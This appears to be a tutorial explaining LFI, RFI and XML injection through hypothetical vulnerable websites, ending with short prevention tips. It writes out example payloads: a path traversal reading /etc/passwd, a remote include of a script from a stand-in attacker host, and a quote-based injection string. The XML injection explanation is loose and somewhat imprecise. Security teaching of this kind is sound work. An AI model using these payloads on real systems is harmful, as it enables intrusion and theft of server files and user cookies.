**Scenario: LFI Attack**

Let's imagine a website called "VulnerableWebsite.com" that allows users to view articles and blog posts on various topics. The website dynamically loads content based on the requested article's filename.

VulnerableWebsite.com uses a URL structure like /article?filename= to load and display articles.

The website reads the contents of the specified file and renders it as HTML on the page.

The website's backend has a vulnerability that allows attackers to include local files using crafted requests.

A user visits VulnerableWebsite.com and wants to read an article about technology. User clicks on a link that directs her to:

/article?filename=technology\_article.txt

An attacker notices that the "article" endpoint loads content from local files based on the filename parameter.

Crafting an LFI Attack:

Attacker crafts a request to try to include a sensitive file from the server, such as the /etc/passwd file that contains user account information on Unix-like systems.

/article?filename=../../../etc/passwd

The server processes request and attempts to read the file ../../../etc/passwd relative to the article’s directory.

**Impact**:

If the server is vulnerable to the LFI attack, it will display the contents of the /etc/passwd file on the web page. This file contains information about system user accounts, which could be useful for further attacks or reconnaissance.

**Scenario: RFI Attack**

Consider a web application that loads external content into its pages, such as advertisements or widgets, without proper validation.

Vulnerable WebApp allows users to include external content by specifying a URL parameter in the URL query string. The application directly embeds content from the provided URL into its pages.

The application's endpoint accepts a URL parameter for including external content.

GET /include\_content?url=https://example.com/widget.php

The server-side code of the application doesn't properly validate the external URL and directly includes its content in the page.

An attacker discovers the application's behavior and crafts a malicious request to include a remote file from her control.

GET /include\_content?url=http://evilsite.com/malicious\_script.php

The server processes request and retrieves content from the specified URL, in this case,

http://evilsite.com/malicious\_script.php

Malicious script contains harmful code, it will be executed within the context of the Vulnerable WebApp page.

The malicious script can perform actions like stealing cookies, redirecting users, or injecting malicious code into the vulnerable application's pages.

**Scenario: XML Attack**

Imagine a web application that uses XML data to process user input and generate dynamic content.

Vulnerable Application allows users to retrieve their profiles by providing their username. The application fetches the user's profile details from an XML data source.

The application has an endpoint that retrieves user profiles from an XML data source.

GET /profile?username=alice

The server-side code of the application doesn't properly validate and sanitize the user input before using it in an XML query.

An attacker discovers that the application uses XML data and suspects that it might be vulnerable to XML injection.

Attacker crafts a malicious request to manipulate the XML query:

GET /profile?username=alice' OR '1'='1

The server processes request and generates XML data with the injected content.

<profile><username>alice' OR '1'='1</username></profile>

The server fetches the XML data and includes input in the query, causing it to always evaluate to true.

As a result, the server retrieves the profile of the first user it encounters, potentially exposing sensitive information.

Prevention:

* Input Sanitization
* Parameterized Queries
* Content Validation